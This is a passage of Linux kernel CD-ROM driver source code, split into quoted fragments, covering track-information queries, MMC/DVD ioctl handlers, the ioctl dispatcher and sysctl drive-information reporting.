"\tinit_cdrom_command(&cgc, ti, 8, CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_READ_TRACK_RZONE_INFO;\n\tcgc.cmd[1] = type & 3;\n\tcgc.cmd[4] = (track & 0xff00) >> 8;\n\tcgc.cmd[5] = track & 0xff;\n\tcgc.cmd[8] = 8;\n\tcgc.quiet = 1;", "\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\tbuflen = be16_to_cpu(ti->track_information_length) +\n\t\tsizeof(ti->track_information_length);", "\tif (buflen > sizeof(track_information))\n\t\tbuflen = sizeof(track_information);", "\tcgc.cmd[8] = cgc.buflen = buflen;\n\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\t/* return actual fill size */\n\treturn buflen;\n}", "/* return the last written block on the CD-R media. this is for the udf\n file system. */\nint cdrom_get_last_written(struct cdrom_device_info *cdi, long *last_written)\n{\n\tstruct cdrom_tocentry toc;\n\tdisc_information di;\n\ttrack_information ti;\n\t__u32 last_track;\n\tint ret = -1, ti_size;", "\tif (!CDROM_CAN(CDC_GENERIC_PACKET))\n\t\tgoto use_toc;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < (int)(offsetof(typeof(di), last_track_lsb)\n\t\t\t+ sizeof(di.last_track_lsb)))\n\t\tgoto use_toc;", "\t/* if unit didn't return msb, it's zeroed by cdrom_get_disc_info */\n\tlast_track = (di.last_track_msb << 8) | di.last_track_lsb;\n\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\tif (ti_size < (int)offsetof(typeof(ti), track_start))\n\t\tgoto use_toc;", "\t/* if this track is blank, try the previous. */\n\tif (ti.blank) {\n\t\tif (last_track == 1)\n\t\t\tgoto use_toc;\n\t\tlast_track--;\n\t\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\t}", "\tif (ti_size < (int)(offsetof(typeof(ti), track_size)\n\t\t\t\t+ sizeof(ti.track_size)))\n\t\tgoto use_toc;", "\t/* if last recorded field is valid, return it. */\n\tif (ti.lra_v && ti_size >= (int)(offsetof(typeof(ti), last_rec_address)\n\t\t\t\t+ sizeof(ti.last_rec_address))) {\n\t\t*last_written = be32_to_cpu(ti.last_rec_address);\n\t} else {\n\t\t/* make it up instead */\n\t\t*last_written = be32_to_cpu(ti.track_start) +\n\t\t\t\tbe32_to_cpu(ti.track_size);\n\t\tif (ti.free_blocks)\n\t\t\t*last_written -= (be32_to_cpu(ti.free_blocks) + 7);\n\t}\n\treturn 0;", "\t/* this is where we end up if the drive either can't do a\n\t GPCMD_READ_DISC_INFO or GPCMD_READ_TRACK_RZONE_INFO or if\n\t it doesn't give enough information or fails. then we return\n\t the toc contents. */\nuse_toc:\n\ttoc.cdte_format = CDROM_MSF;\n\ttoc.cdte_track = CDROM_LEADOUT;\n\tif ((ret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCENTRY, &toc)))\n\t\treturn ret;\n\tsanitize_format(&toc.cdte_addr, &toc.cdte_format, CDROM_LBA);\n\t*last_written = toc.cdte_addr.lba;\n\treturn 0;\n}", "/* return the next writable block. also for udf file system. */\nstatic int cdrom_get_next_writable(struct cdrom_device_info *cdi,\n\t\t\t\t long *next_writable)\n{\n\tdisc_information di;\n\ttrack_information ti;\n\t__u16 last_track;\n\tint ret, ti_size;", "\tif (!CDROM_CAN(CDC_GENERIC_PACKET))\n\t\tgoto use_last_written;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < offsetof(typeof(di), last_track_lsb)\n\t\t\t\t+ sizeof(di.last_track_lsb))\n\t\tgoto use_last_written;", "\t/* if unit didn't return msb, it's zeroed by cdrom_get_disc_info */\n\tlast_track = (di.last_track_msb << 8) | di.last_track_lsb;\n\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\tif (ti_size < 0 || ti_size < offsetof(typeof(ti), track_start))\n\t\tgoto use_last_written;", "\t/* if this track is blank, try the previous. */\n\tif (ti.blank) {\n\t\tif (last_track == 1)\n\t\t\tgoto use_last_written;\n\t\tlast_track--;\n\t\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\t\tif (ti_size < 0)\n\t\t\tgoto use_last_written;\n\t}", "\t/* if next recordable address field is valid, use it. */\n\tif (ti.nwa_v && ti_size >= offsetof(typeof(ti), next_writable)\n\t\t\t\t+ sizeof(ti.next_writable)) {\n\t\t*next_writable = be32_to_cpu(ti.next_writable);\n\t\treturn 0;\n\t}", "use_last_written:\n\tret = cdrom_get_last_written(cdi, next_writable);\n\tif (ret) {\n\t\t*next_writable = 0;\n\t\treturn ret;\n\t} else {\n\t\t*next_writable += 7;\n\t\treturn 0;\n\t}\n}", "static noinline int mmc_ioctl_cdrom_read_data(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t int cmd)\n{\n\tstruct request_sense sense;\n\tstruct cdrom_msf msf;\n\tint blocksize = 0, format = 0, lba;\n\tint ret;", "\tswitch (cmd) {\n\tcase CDROMREADRAW:\n\t\tblocksize = CD_FRAMESIZE_RAW;\n\t\tbreak;\n\tcase CDROMREADMODE1:\n\t\tblocksize = CD_FRAMESIZE;\n\t\tformat = 2;\n\t\tbreak;\n\tcase CDROMREADMODE2:\n\t\tblocksize = CD_FRAMESIZE_RAW0;\n\t\tbreak;\n\t}\n\tif (copy_from_user(&msf, (struct cdrom_msf __user *)arg, sizeof(msf)))\n\t\treturn -EFAULT;\n\tlba = msf_to_lba(msf.cdmsf_min0, msf.cdmsf_sec0, msf.cdmsf_frame0);\n\t/* FIXME: we need upper bound checking, too!! */\n\tif (lba < 0)\n\t\treturn -EINVAL;", "\tcgc->buffer = kzalloc(blocksize, GFP_KERNEL);\n\tif (cgc->buffer == NULL)\n\t\treturn -ENOMEM;", "\tmemset(&sense, 0, sizeof(sense));\n\tcgc->sense = &sense;\n\tcgc->data_direction = CGC_DATA_READ;\n\tret = cdrom_read_block(cdi, cgc, lba, 1, format, blocksize);\n\tif (ret && sense.sense_key == 0x05 &&\n\t sense.asc == 0x20 &&\n\t sense.ascq == 0x00) {\n\t\t/*\n\t\t * SCSI-II devices are not required to support\n\t\t * READ_CD, so let's try switching block size\n\t\t */\n\t\t/* FIXME: switch back again... */\n\t\tret = cdrom_switch_blocksize(cdi, blocksize);\n\t\tif (ret)\n\t\t\tgoto out;\n\t\tcgc->sense = NULL;\n\t\tret = cdrom_read_cd(cdi, cgc, lba, blocksize, 1);\n\t\tret |= cdrom_switch_blocksize(cdi, blocksize);\n\t}\n\tif (!ret && copy_to_user(arg, cgc->buffer, blocksize))\n\t\tret = -EFAULT;\nout:\n\tkfree(cgc->buffer);\n\treturn ret;\n}", "static noinline int mmc_ioctl_cdrom_read_audio(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg)\n{\n\tstruct cdrom_read_audio ra;\n\tint lba;", "\tif (copy_from_user(&ra, (struct cdrom_read_audio __user *)arg,\n\t\t\t sizeof(ra)))\n\t\treturn -EFAULT;", "\tif (ra.addr_format == CDROM_MSF)\n\t\tlba = msf_to_lba(ra.addr.msf.minute,\n\t\t\t\t ra.addr.msf.second,\n\t\t\t\t ra.addr.msf.frame);\n\telse if (ra.addr_format == CDROM_LBA)\n\t\tlba = ra.addr.lba;\n\telse\n\t\treturn -EINVAL;", "\t/* FIXME: we need upper bound checking, too!! */\n\tif (lba < 0 || ra.nframes <= 0 || ra.nframes > CD_FRAMES)\n\t\treturn -EINVAL;", "\treturn cdrom_read_cdda(cdi, ra.buf, lba, ra.nframes);\n}", "static noinline int mmc_ioctl_cdrom_subchannel(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tstruct cdrom_subchnl q;\n\tu_char requested, back;\n\tif (copy_from_user(&q, (struct cdrom_subchnl __user *)arg, sizeof(q)))\n\t\treturn -EFAULT;\n\trequested = q.cdsc_format;\n\tif (!((requested == CDROM_MSF) ||\n\t (requested == CDROM_LBA)))\n\t\treturn -EINVAL;", "\tret = cdrom_read_subchannel(cdi, &q, 0);\n\tif (ret)\n\t\treturn ret;\n\tback = q.cdsc_format; /* local copy */\n\tsanitize_format(&q.cdsc_absaddr, &back, requested);\n\tsanitize_format(&q.cdsc_reladdr, &q.cdsc_format, requested);\n\tif (copy_to_user((struct cdrom_subchnl __user *)arg, &q, sizeof(q)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMSUBCHNL successful\\n\"); */\n\treturn 0;\n}", "static noinline int mmc_ioctl_cdrom_play_msf(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct cdrom_msf msf;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYMSF\\n\");\n\tif (copy_from_user(&msf, (struct cdrom_msf __user *)arg, sizeof(msf)))\n\t\treturn -EFAULT;\n\tcgc->cmd[0] = GPCMD_PLAY_AUDIO_MSF;\n\tcgc->cmd[3] = msf.cdmsf_min0;\n\tcgc->cmd[4] = msf.cdmsf_sec0;\n\tcgc->cmd[5] = msf.cdmsf_frame0;\n\tcgc->cmd[6] = msf.cdmsf_min1;\n\tcgc->cmd[7] = msf.cdmsf_sec1;\n\tcgc->cmd[8] = msf.cdmsf_frame1;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_play_blk(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct cdrom_blk blk;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYBLK\\n\");\n\tif (copy_from_user(&blk, (struct cdrom_blk __user *)arg, sizeof(blk)))\n\t\treturn -EFAULT;\n\tcgc->cmd[0] = GPCMD_PLAY_AUDIO_10;\n\tcgc->cmd[2] = (blk.from >> 24) & 0xff;\n\tcgc->cmd[3] = (blk.from >> 16) & 0xff;\n\tcgc->cmd[4] = (blk.from >> 8) & 0xff;\n\tcgc->cmd[5] = blk.from & 0xff;\n\tcgc->cmd[7] = (blk.len >> 8) & 0xff;\n\tcgc->cmd[8] = blk.len & 0xff;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_volume(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t unsigned int cmd)\n{\n\tstruct cdrom_volctrl volctrl;\n\tunsigned char buffer[32];\n\tchar mask[sizeof(buffer)];\n\tunsigned short offset;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMVOLUME\\n\");", "\tif (copy_from_user(&volctrl, (struct cdrom_volctrl __user *)arg,\n\t\t\t sizeof(volctrl)))\n\t\treturn -EFAULT;", "\tcgc->buffer = buffer;\n\tcgc->buflen = 24;\n\tret = cdrom_mode_sense(cdi, cgc, GPMODE_AUDIO_CTL_PAGE, 0);\n\tif (ret)\n\t\treturn ret;\n\t\t\n\t/* originally the code depended on buffer[1] to determine\n\t how much data is available for transfer. buffer[1] is\n\t unfortunately ambigious and the only reliable way seem\n\t to be to simply skip over the block descriptor... */\n\toffset = 8 + be16_to_cpu(*(__be16 *)(buffer + 6));", "\tif (offset + 16 > sizeof(buffer))\n\t\treturn -E2BIG;", "\tif (offset + 16 > cgc->buflen) {\n\t\tcgc->buflen = offset + 16;\n\t\tret = cdrom_mode_sense(cdi, cgc,\n\t\t\t\t GPMODE_AUDIO_CTL_PAGE, 0);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}", "\t/* sanity check */\n\tif ((buffer[offset] & 0x3f) != GPMODE_AUDIO_CTL_PAGE ||\n\t buffer[offset + 1] < 14)\n\t\treturn -EINVAL;", "\t/* now we have the current volume settings. if it was only\n\t a CDROMVOLREAD, return these values */\n\tif (cmd == CDROMVOLREAD) {\n\t\tvolctrl.channel0 = buffer[offset+9];\n\t\tvolctrl.channel1 = buffer[offset+11];\n\t\tvolctrl.channel2 = buffer[offset+13];\n\t\tvolctrl.channel3 = buffer[offset+15];\n\t\tif (copy_to_user((struct cdrom_volctrl __user *)arg, &volctrl,\n\t\t\t\t sizeof(volctrl)))\n\t\t\treturn -EFAULT;\n\t\treturn 0;\n\t}\n\t\t\n\t/* get the volume mask */\n\tcgc->buffer = mask;\n\tret = cdrom_mode_sense(cdi, cgc, GPMODE_AUDIO_CTL_PAGE, 1);\n\tif (ret)\n\t\treturn ret;", "\tbuffer[offset + 9] = volctrl.channel0 & mask[offset + 9];\n\tbuffer[offset + 11] = volctrl.channel1 & mask[offset + 11];\n\tbuffer[offset + 13] = volctrl.channel2 & mask[offset + 13];\n\tbuffer[offset + 15] = volctrl.channel3 & mask[offset + 15];", "\t/* set volume */\n\tcgc->buffer = buffer + offset - 8;\n\tmemset(cgc->buffer, 0, 8);\n\treturn cdrom_mode_select(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_start_stop(struct cdrom_device_info *cdi,\n\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t int cmd)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMSTART/CDROMSTOP\\n\");\n\tcgc->cmd[0] = GPCMD_START_STOP_UNIT;\n\tcgc->cmd[1] = 1;\n\tcgc->cmd[4] = (cmd == CDROMSTART) ? 1 : 0;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_pause_resume(struct cdrom_device_info *cdi,\n\t\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t\t int cmd)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPAUSE/CDROMRESUME\\n\");\n\tcgc->cmd[0] = GPCMD_PAUSE_RESUME;\n\tcgc->cmd[8] = (cmd == CDROMRESUME) ? 1 : 0;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_dvd_read_struct(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc)\n{\n\tint ret;\n\tdvd_struct *s;\n\tint size = sizeof(dvd_struct);", "\tif (!CDROM_CAN(CDC_DVD))\n\t\treturn -ENOSYS;", "\ts = memdup_user(arg, size);\n\tif (IS_ERR(s))\n\t\treturn PTR_ERR(s);", "\tcd_dbg(CD_DO_IOCTL, \"entering DVD_READ_STRUCT\\n\");", "\tret = dvd_read_struct(cdi, s, cgc);\n\tif (ret)\n\t\tgoto out;", "\tif (copy_to_user(arg, s, size))\n\t\tret = -EFAULT;\nout:\n\tkfree(s);\n\treturn ret;\n}", "static noinline int mmc_ioctl_dvd_auth(struct cdrom_device_info *cdi,\n\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tdvd_authinfo ai;\n\tif (!CDROM_CAN(CDC_DVD))\n\t\treturn -ENOSYS;\n\tcd_dbg(CD_DO_IOCTL, \"entering DVD_AUTH\\n\");\n\tif (copy_from_user(&ai, (dvd_authinfo __user *)arg, sizeof(ai)))\n\t\treturn -EFAULT;\n\tret = dvd_do_auth(cdi, &ai);\n\tif (ret)\n\t\treturn ret;\n\tif (copy_to_user((dvd_authinfo __user *)arg, &ai, sizeof(ai)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static noinline int mmc_ioctl_cdrom_next_writable(struct cdrom_device_info *cdi,\n\t\t\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tlong next = 0;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_NEXT_WRITABLE\\n\");\n\tret = cdrom_get_next_writable(cdi, &next);\n\tif (ret)\n\t\treturn ret;\n\tif (copy_to_user((long __user *)arg, &next, sizeof(next)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static noinline int mmc_ioctl_cdrom_last_written(struct cdrom_device_info *cdi,\n\t\t\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tlong last = 0;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_LAST_WRITTEN\\n\");\n\tret = cdrom_get_last_written(cdi, &last);\n\tif (ret)\n\t\treturn ret;\n\tif (copy_to_user((long __user *)arg, &last, sizeof(last)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static int mmc_ioctl(struct cdrom_device_info *cdi, unsigned int cmd,\n\t\t unsigned long arg)\n{\n\tstruct packet_command cgc;\n\tvoid __user *userptr = (void __user *)arg;", "\tmemset(&cgc, 0, sizeof(cgc));", "\t/* build a unified command and queue it through\n\t cdo->generic_packet() */\n\tswitch (cmd) {\n\tcase CDROMREADRAW:\n\tcase CDROMREADMODE1:\n\tcase CDROMREADMODE2:\n\t\treturn mmc_ioctl_cdrom_read_data(cdi, userptr, &cgc, cmd);\n\tcase CDROMREADAUDIO:\n\t\treturn mmc_ioctl_cdrom_read_audio(cdi, userptr);\n\tcase CDROMSUBCHNL:\n\t\treturn mmc_ioctl_cdrom_subchannel(cdi, userptr);\n\tcase CDROMPLAYMSF:\n\t\treturn mmc_ioctl_cdrom_play_msf(cdi, userptr, &cgc);\n\tcase CDROMPLAYBLK:\n\t\treturn mmc_ioctl_cdrom_play_blk(cdi, userptr, &cgc);\n\tcase CDROMVOLCTRL:\n\tcase CDROMVOLREAD:\n\t\treturn mmc_ioctl_cdrom_volume(cdi, userptr, &cgc, cmd);\n\tcase CDROMSTART:\n\tcase CDROMSTOP:\n\t\treturn mmc_ioctl_cdrom_start_stop(cdi, &cgc, cmd);\n\tcase CDROMPAUSE:\n\tcase CDROMRESUME:\n\t\treturn mmc_ioctl_cdrom_pause_resume(cdi, &cgc, cmd);\n\tcase DVD_READ_STRUCT:\n\t\treturn mmc_ioctl_dvd_read_struct(cdi, userptr, &cgc);\n\tcase DVD_AUTH:\n\t\treturn mmc_ioctl_dvd_auth(cdi, userptr);\n\tcase CDROM_NEXT_WRITABLE:\n\t\treturn mmc_ioctl_cdrom_next_writable(cdi, userptr);\n\tcase CDROM_LAST_WRITTEN:\n\t\treturn mmc_ioctl_cdrom_last_written(cdi, userptr);\n\t}", "\treturn -ENOTTY;\n}", "/*\n * Just about every imaginable ioctl is supported in the Uniform layer\n * these days.\n * ATAPI / SCSI specific code now mainly resides in mmc_ioctl().\n */\nint cdrom_ioctl(struct cdrom_device_info *cdi, struct block_device *bdev,\n\t\tfmode_t mode, unsigned int cmd, unsigned long arg)\n{\n\tvoid __user *argp = (void __user *)arg;\n\tint ret;", "\t/*\n\t * Try the generic SCSI command ioctl's first.\n\t */\n\tret = scsi_cmd_blk_ioctl(bdev, mode, cmd, argp);\n\tif (ret != -ENOTTY)\n\t\treturn ret;", "\tswitch (cmd) {\n\tcase CDROMMULTISESSION:\n\t\treturn cdrom_ioctl_multisession(cdi, argp);\n\tcase CDROMEJECT:\n\t\treturn cdrom_ioctl_eject(cdi);\n\tcase CDROMCLOSETRAY:\n\t\treturn cdrom_ioctl_closetray(cdi);\n\tcase CDROMEJECT_SW:\n\t\treturn cdrom_ioctl_eject_sw(cdi, arg);\n\tcase CDROM_MEDIA_CHANGED:\n\t\treturn cdrom_ioctl_media_changed(cdi, arg);\n\tcase CDROM_SET_OPTIONS:\n\t\treturn cdrom_ioctl_set_options(cdi, arg);\n\tcase CDROM_CLEAR_OPTIONS:\n\t\treturn cdrom_ioctl_clear_options(cdi, arg);\n\tcase CDROM_SELECT_SPEED:\n\t\treturn cdrom_ioctl_select_speed(cdi, arg);\n\tcase CDROM_SELECT_DISC:\n\t\treturn cdrom_ioctl_select_disc(cdi, arg);\n\tcase CDROMRESET:\n\t\treturn cdrom_ioctl_reset(cdi, bdev);\n\tcase CDROM_LOCKDOOR:\n\t\treturn cdrom_ioctl_lock_door(cdi, arg);\n\tcase CDROM_DEBUG:\n\t\treturn cdrom_ioctl_debug(cdi, arg);\n\tcase CDROM_GET_CAPABILITY:\n\t\treturn cdrom_ioctl_get_capability(cdi);\n\tcase CDROM_GET_MCN:\n\t\treturn cdrom_ioctl_get_mcn(cdi, argp);\n\tcase CDROM_DRIVE_STATUS:\n\t\treturn cdrom_ioctl_drive_status(cdi, arg);\n\tcase CDROM_DISC_STATUS:\n\t\treturn cdrom_ioctl_disc_status(cdi);\n\tcase CDROM_CHANGER_NSLOTS:\n\t\treturn cdrom_ioctl_changer_nslots(cdi);\n\t}", "\t/*\n\t * Use the ioctls that are implemented through the generic_packet()\n\t * interface. this may look at bit funny, but if -ENOTTY is\n\t * returned that particular ioctl is not implemented and we\n\t * let it go through the device specific ones.\n\t */\n\tif (CDROM_CAN(CDC_GENERIC_PACKET)) {\n\t\tret = mmc_ioctl(cdi, cmd, arg);\n\t\tif (ret != -ENOTTY)\n\t\t\treturn ret;\n\t}", "\t/*\n\t * Note: most of the cd_dbg() calls are commented out here,\n\t * because they fill up the sys log when CD players poll\n\t * the drive.\n\t */\n\tswitch (cmd) {\n\tcase CDROMSUBCHNL:\n\t\treturn cdrom_ioctl_get_subchnl(cdi, argp);\n\tcase CDROMREADTOCHDR:\n\t\treturn cdrom_ioctl_read_tochdr(cdi, argp);\n\tcase CDROMREADTOCENTRY:\n\t\treturn cdrom_ioctl_read_tocentry(cdi, argp);\n\tcase CDROMPLAYMSF:\n\t\treturn cdrom_ioctl_play_msf(cdi, argp);\n\tcase CDROMPLAYTRKIND:\n\t\treturn cdrom_ioctl_play_trkind(cdi, argp);\n\tcase CDROMVOLCTRL:\n\t\treturn cdrom_ioctl_volctrl(cdi, argp);\n\tcase CDROMVOLREAD:\n\t\treturn cdrom_ioctl_volread(cdi, argp);\n\tcase CDROMSTART:\n\tcase CDROMSTOP:\n\tcase CDROMPAUSE:\n\tcase CDROMRESUME:\n\t\treturn cdrom_ioctl_audioctl(cdi, cmd);\n\t}", "\treturn -ENOSYS;\n}", "EXPORT_SYMBOL(cdrom_get_last_written);\nEXPORT_SYMBOL(register_cdrom);\nEXPORT_SYMBOL(unregister_cdrom);\nEXPORT_SYMBOL(cdrom_open);\nEXPORT_SYMBOL(cdrom_release);\nEXPORT_SYMBOL(cdrom_ioctl);\nEXPORT_SYMBOL(cdrom_media_changed);\nEXPORT_SYMBOL(cdrom_number_of_slots);\nEXPORT_SYMBOL(cdrom_mode_select);\nEXPORT_SYMBOL(cdrom_mode_sense);\nEXPORT_SYMBOL(init_cdrom_command);\nEXPORT_SYMBOL(cdrom_get_media_event);", "#ifdef CONFIG_SYSCTL", "#define CDROM_STR_SIZE 1000", "static struct cdrom_sysctl_settings {\n\tchar\tinfo[CDROM_STR_SIZE];\t/* general info */\n\tint\tautoclose;\t\t/* close tray upon mount, etc */\n\tint\tautoeject;\t\t/* eject on umount */\n\tint\tdebug;\t\t\t/* turn on debugging messages */\n\tint\tlock;\t\t\t/* lock the door on device open */\n\tint\tcheck;\t\t\t/* check media type */\n} cdrom_sysctl_settings;", "enum cdrom_print_option {\n\tCTL_NAME,\n\tCTL_SPEED,\n\tCTL_SLOTS,\n\tCTL_CAPABILITY\n};", "static int cdrom_print_info(const char *header, int val, char *info,\n\t\t\t\tint *pos, enum cdrom_print_option option)\n{\n\tconst int max_size = sizeof(cdrom_sysctl_settings.info);\n\tstruct cdrom_device_info *cdi;\n\tint ret;", "\tret = scnprintf(info + *pos, max_size - *pos, header);\n\tif (!ret)\n\t\treturn 1;", "\t*pos += ret;", "\tlist_for_each_entry(cdi, &cdrom_list, list) {\n\t\tswitch (option) {\n\t\tcase CTL_NAME:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%s\", cdi->name);\n\t\t\tbreak;\n\t\tcase CTL_SPEED:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%d\", cdi->speed);\n\t\t\tbreak;\n\t\tcase CTL_SLOTS:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%d\", cdi->capacity);\n\t\t\tbreak;\n\t\tcase CTL_CAPABILITY:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%d\", CDROM_CAN(val) != 0);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tpr_info(\"invalid option%d\\n\", option);\n\t\t\treturn 1;\n\t\t}\n\t\tif (!ret)\n\t\t\treturn 1;\n\t\t*pos += ret;\n\t}", "\treturn 0;\n}", "static int cdrom_sysctl_info(struct ctl_table *ctl, int write,\n void __user *buffer, size_t *lenp, loff_t *ppos)\n{\n\tint pos;\n\tchar *info = cdrom_sysctl_settings.info;\n\tconst int max_size = sizeof(cdrom_sysctl_settings.info);\n\t\n\tif (!*lenp || (*ppos && !write)) {\n\t\t*lenp = 0;\n\t\treturn 0;\n\t}", "\tmutex_lock(&cdrom_mutex);", "\tpos = sprintf(info, \"CD-ROM information, \" VERSION \"\\n\");\n\t\n\tif (cdrom_print_info(\"\\ndrive name:\\t\", 0, info, &pos, CTL_NAME))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\ndrive speed:\\t\", 0, info, &pos, CTL_SPEED))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\ndrive # of slots:\", 0, info, &pos, CTL_SLOTS))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan close tray:\\t\",\n\t\t\t\tCDC_CLOSE_TRAY, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan open tray:\\t\",\n\t\t\t\tCDC_OPEN_TRAY, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan lock tray:\\t\",\n\t\t\t\tCDC_LOCK, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan change speed:\",\n\t\t\t\tCDC_SELECT_SPEED, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan select disk:\",\n\t\t\t\tCDC_SELECT_DISC, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read multisession:\",\n\t\t\t\tCDC_MULTI_SESSION, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read MCN:\\t\",\n\t\t\t\tCDC_MCN, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nReports media changed:\",\n\t\t\t\tCDC_MEDIA_CHANGED, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan play audio:\\t\",\n\t\t\t\tCDC_PLAY_AUDIO, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write CD-R:\\t\",\n\t\t\t\tCDC_CD_R, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write CD-RW:\",\n\t\t\t\tCDC_CD_RW, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read DVD:\\t\",\n\t\t\t\tCDC_DVD, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write DVD-R:\",\n\t\t\t\tCDC_DVD_R, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write DVD-RAM:\",\n\t\t\t\tCDC_DVD_RAM, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read MRW:\\t\",\n\t\t\t\tCDC_MRW, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write MRW:\\t\",\n\t\t\t\tCDC_MRW_W, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write RAM:\\t\",\n\t\t\t\tCDC_RAM, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (!scnprintf(info + pos, max_size - pos, \"\\n\\n\"))\n\t\tgoto done;\ndoit:\n\tmutex_unlock(&cdrom_mutex);\n\treturn proc_dostring(ctl, write, buffer, lenp, ppos);\ndone:\n\tpr_info(\"info buffer too small\\n\");\n\tgoto doit;\n}", "/* Unfortunately, per device settings are not implemented through\n procfs/sysctl yet. When they are, this will naturally disappear. For now\n just update all drives. Later this will become the template on which\n new registered drives will be based. */\nstatic void cdrom_update_settings(void)\n{\n\tstruct cdrom_device_info *cdi;", "\tmutex_lock(&cdrom_mutex);\n\tlist_for_each_entry(cdi, &cdrom_list, list) {\n\t\tif (autoclose && CDROM_CAN(CDC_CLOSE_TRAY))\n\t\t\tcdi->options |= CDO_AUTO_CLOSE;\n\t\telse if (!autoclose)\n\t\t\tcdi->options &= ~CDO_AUTO_CLOSE;\n\t\tif (autoeject && CDROM_CAN(CDC_OPEN_TRAY))\n\t\t\tcdi->options |= CDO_AUTO_EJECT;\n\t\telse if (!autoeject)\n\t\t\tcdi->options &= ~CDO_AUTO_EJECT;\n\t\tif (lockdoor && CDROM_CAN(CDC_LOCK))\n\t\t\tcdi->options |= CDO_LOCK;\n\t\telse if (!lockdoor)\n\t\t\tcdi->options &= ~CDO_LOCK;\n\t\tif (check_media_type)\n\t\t\tcdi->options |= 